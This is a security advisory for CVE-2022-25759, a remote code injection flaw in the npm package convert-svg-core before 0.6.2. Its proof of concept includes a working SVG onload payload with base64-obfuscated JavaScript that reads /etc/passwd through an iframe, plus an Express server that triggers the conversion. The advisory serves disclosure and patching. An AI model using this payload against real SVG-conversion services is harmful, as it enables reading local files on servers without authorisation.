CVE-2022-25759 – convert-svg-core
Package
Manager: npm
Name: convert-svg-core
Vulnerable Version: >=0 <0.6.2
Severity
Level: Critical
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS: 0.01654 pctl0.81317
Details
convert-svg-core vulnerable to remote code injection The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code. ### PoC **Payload** ```html <svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg> ``` where the `id` attribute is the base 64-encoded form of ```js document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>'); ``` **Attack** ```js const { convert } = require('convert-svg-to-png'); const express = require('express'); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()} const app = express(); app.get('/poc', async (req, res)=>{ try { const png = await convert(fileSvg); res.set('Content-Type', 'image/png'); res.send(png); } catch (e) { console.log(e); res.send(""); } }); app.listen(3000, ()=>{ console.log('started'); }); ```
Metadata
Created: 2022-07-23T00:00:16Z
Modified: 2024-04-22T23:21:54Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-5gxc-fxcr-9326/GHSA-5gxc-fxcr-9326.json
CWE IDs: ["CWE-94"]
Alternative ID: GHSA-5gxc-fxcr-9326
Finding: F422
Auto approve: 1